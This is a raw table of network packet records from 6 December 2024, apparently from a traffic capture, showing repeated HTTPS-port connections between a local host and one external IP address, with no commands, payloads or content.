Dec 6, 2024 09:42:29.683609962 CET	49878	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:29.683635950 CET	49878	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:29.684745073 CET	49878	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:29.684766054 CET	443	49878	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:29.992218971 CET	443	49879	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:29.992288113 CET	49879	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:29.992319107 CET	443	49879	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:29.992332935 CET	443	49879	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:29.992363930 CET	49879	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:29.992384911 CET	49879	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:29.993253946 CET	49879	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:29.993271112 CET	443	49879	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:30.597117901 CET	49890	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:30.597146988 CET	443	49890	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:30.597251892 CET	49890	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:30.597546101 CET	49890	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:30.597553968 CET	443	49890	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:31.609288931 CET	49891	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:31.609330893 CET	443	49891	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:31.609431982 CET	49891	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:31.609721899 CET	49891	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:31.609741926 CET	443	49891	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:32.011352062 CET	443	49890	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:32.011444092 CET	49890	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:32.012126923 CET	49890	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:32.012137890 CET	443	49890	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:32.013993025 CET	49890	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:32.014005899 CET	443	49890	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:32.014035940 CET	49890	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:32.014050961 CET	443	49890	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:32.014074087 CET	49890	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:32.014080048 CET	443	49890	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:32.014137030 CET	49890	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:32.014166117 CET	443	49890	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:32.014172077 CET	49890	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:32.014182091 CET	443	49890	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:32.014271975 CET	49890	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:32.014302015 CET	443	49890	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:32.014394999 CET	49890	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:32.014400959 CET	443	49890	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:32.014419079 CET	49890	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:32.014430046 CET	443	49890	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:32.014498949 CET	49890	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:32.014512062 CET	443	49890	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:32.014555931 CET	49890	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:32.014568090 CET	443	49890	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:32.014602900 CET	49890	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:32.014615059 CET	443	49890	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:32.014663935 CET	49890	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:32.014672995 CET	443	49890	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:32.014686108 CET	49890	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:32.014693022 CET	443	49890	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:33.006567001 CET	443	49891	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:33.006750107 CET	49891	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:33.090795040 CET	49891	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:33.090805054 CET	443	49891	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:33.094857931 CET	49891	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:33.094867945 CET	443	49891	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:33.094938993 CET	49891	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:33.094954967 CET	443	49891	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:33.094959974 CET	49891	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:33.094974041 CET	443	49891	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:33.095005035 CET	49891	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:33.095010996 CET	443	49891	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:33.095122099 CET	49891	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:33.095140934 CET	443	49891	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:33.095156908 CET	49891	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:33.095164061 CET	443	49891	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:33.095179081 CET	49891	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:33.095184088 CET	443	49891	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:33.095218897 CET	49891	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:33.095231056 CET	443	49891	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:33.095237017 CET	49891	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:33.095242023 CET	443	49891	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:33.811947107 CET	443	49890	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:33.812051058 CET	443	49890	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:33.812308073 CET	49890	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:33.813426971 CET	49890	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:33.813452959 CET	443	49890	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:34.584764957 CET	443	49891	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:34.584846973 CET	443	49891	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:34.584904909 CET	49891	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:34.584904909 CET	49891	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:34.585989952 CET	49891	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:34.586004972 CET	443	49891	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:34.674314022 CET	49899	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:34.674348116 CET	443	49899	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:34.674417973 CET	49899	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:34.674633026 CET	49899	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:34.674643993 CET	443	49899	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:35.715961933 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:35.716012955 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:35.716084003 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:35.716382027 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:35.716391087 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:36.066883087 CET	443	49899	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:36.067045927 CET	49899	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:36.067641020 CET	49899	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:36.067651987 CET	443	49899	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:36.069560051 CET	49899	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:36.069569111 CET	443	49899	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:36.069637060 CET	49899	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:36.069658041 CET	443	49899	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:36.069672108 CET	49899	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:36.069679022 CET	443	49899	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:36.069734097 CET	49899	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:36.069751024 CET	443	49899	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:36.069760084 CET	49899	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:36.069767952 CET	443	49899	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:36.069820881 CET	49899	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:36.069832087 CET	443	49899	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:36.069843054 CET	49899	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:36.069869995 CET	443	49899	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:36.069892883 CET	49899	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:36.069905996 CET	443	49899	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:36.069936991 CET	49899	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:36.069955111 CET	443	49899	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:36.069982052 CET	49899	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:36.069993973 CET	443	49899	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:36.069999933 CET	49899	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:36.070004940 CET	443	49899	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:36.070015907 CET	49899	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:36.070029974 CET	443	49899	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:36.070050955 CET	49899	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:36.070059061 CET	443	49899	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.113456011 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.113538027 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.114058971 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.114063978 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.115916967 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.115926027 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.116015911 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.116024017 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.116029024 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.116038084 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.116060019 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.116064072 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.116141081 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.116148949 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.116192102 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.116199017 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.116266012 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.116271973 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.116318941 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.116324902 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.116378069 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.116384029 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.116430998 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.116437912 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.116452932 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.116466999 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.116470098 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.116478920 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.116519928 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.116527081 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.116580963 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.116588116 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.116624117 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.116630077 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.116651058 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.116661072 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.116661072 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.116667986 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.116736889 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.116745949 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.116753101 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.116761923 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.116779089 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.116784096 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.116826057 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.116832018 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.116842031 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.116847992 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.116871119 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.116875887 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.116930962 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.116936922 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.116945982 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.116949081 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.116966009 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.116972923 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.117050886 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.117057085 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.117073059 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.117079020 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.117129087 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.117134094 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.117182016 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.117187023 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.117207050 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.117213964 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.117222071 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.117224932 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.117271900 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.117278099 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:37.117289066 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:37.117291927 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:38.066407919 CET	443	49899	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:38.066497087 CET	443	49899	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:38.066531897 CET	49899	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:38.066560984 CET	49899	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:38.067744970 CET	49899	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:38.067770958 CET	443	49899	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:38.736776114 CET	49909	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:38.736819983 CET	443	49909	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:38.737015963 CET	49909	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:38.737150908 CET	49909	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:38.737164021 CET	443	49909	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:39.216202021 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:39.216272116 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:39.216315031 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:39.216352940 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:39.217217922 CET	49903	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:39.217235088 CET	443	49903	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:40.134067059 CET	443	49909	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:40.135812998 CET	49909	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:40.324412107 CET	49909	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:40.324434996 CET	443	49909	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:40.326195002 CET	49909	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:40.326200008 CET	443	49909	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:40.326292038 CET	49909	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:40.326304913 CET	443	49909	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:40.326311111 CET	49909	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:40.326313972 CET	443	49909	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:40.326387882 CET	49909	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:40.326406956 CET	443	49909	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:40.326417923 CET	49909	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:40.326426983 CET	443	49909	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:40.326497078 CET	49909	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:40.326508045 CET	443	49909	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:40.326525927 CET	49909	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:40.326534033 CET	49909	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:40.326540947 CET	49909	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:40.326545954 CET	443	49909	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:40.326560974 CET	443	49909	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:40.326564074 CET	49909	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:40.326581955 CET	443	49909	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:40.326667070 CET	49909	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:40.326677084 CET	443	49909	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:40.326698065 CET	49909	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:40.326708078 CET	49909	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:40.326713085 CET	443	49909	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:40.488881111 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:40.488929033 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:40.489170074 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:40.489576101 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:40.489587069 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:41.884666920 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:41.888595104 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.889106035 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.889118910 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:41.891282082 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.891288042 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:41.891333103 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.891352892 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:41.891369104 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.891374111 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:41.891443968 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.891462088 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:41.891469955 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.891484022 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:41.891551971 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.891571999 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.891571999 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.891573906 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:41.891586065 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:41.891675949 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.891686916 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:41.891701937 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.891710997 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:41.891727924 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.891735077 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:41.891752958 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.891763926 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:41.891767025 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.891773939 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:41.891791105 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.891812086 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:41.891829014 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.891835928 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:41.891846895 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.891860962 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:41.891952991 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.891961098 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:41.891985893 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.891990900 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:41.892011881 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.892060995 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.892112970 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.892129898 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.892147064 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.892163992 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.892222881 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.892262936 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.892297029 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.892332077 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.939327955 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:41.941385984 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.941416979 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.941461086 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.941500902 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.941545010 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.941561937 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.941610098 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.941632032 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.941687107 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:41.983330965 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.010545969 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.010580063 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.010603905 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.010646105 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.010660887 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.010703087 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.010725975 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.010734081 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.010744095 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.010796070 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.055344105 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.057357073 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.057389021 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.057414055 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.057442904 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.057472944 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.057495117 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.057512999 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.083995104 CET	443	49909	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.084072113 CET	443	49909	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.084184885 CET	49909	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.085141897 CET	49909	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.085166931 CET	443	49909	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.085727930 CET	49921	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.085764885 CET	443	49921	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.085839987 CET	49921	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.086040974 CET	49921	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.086051941 CET	443	49921	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.103341103 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.105240107 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.105261087 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.131928921 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.131999016 CET	443	49915	5.75.212.196	192.168.2.4
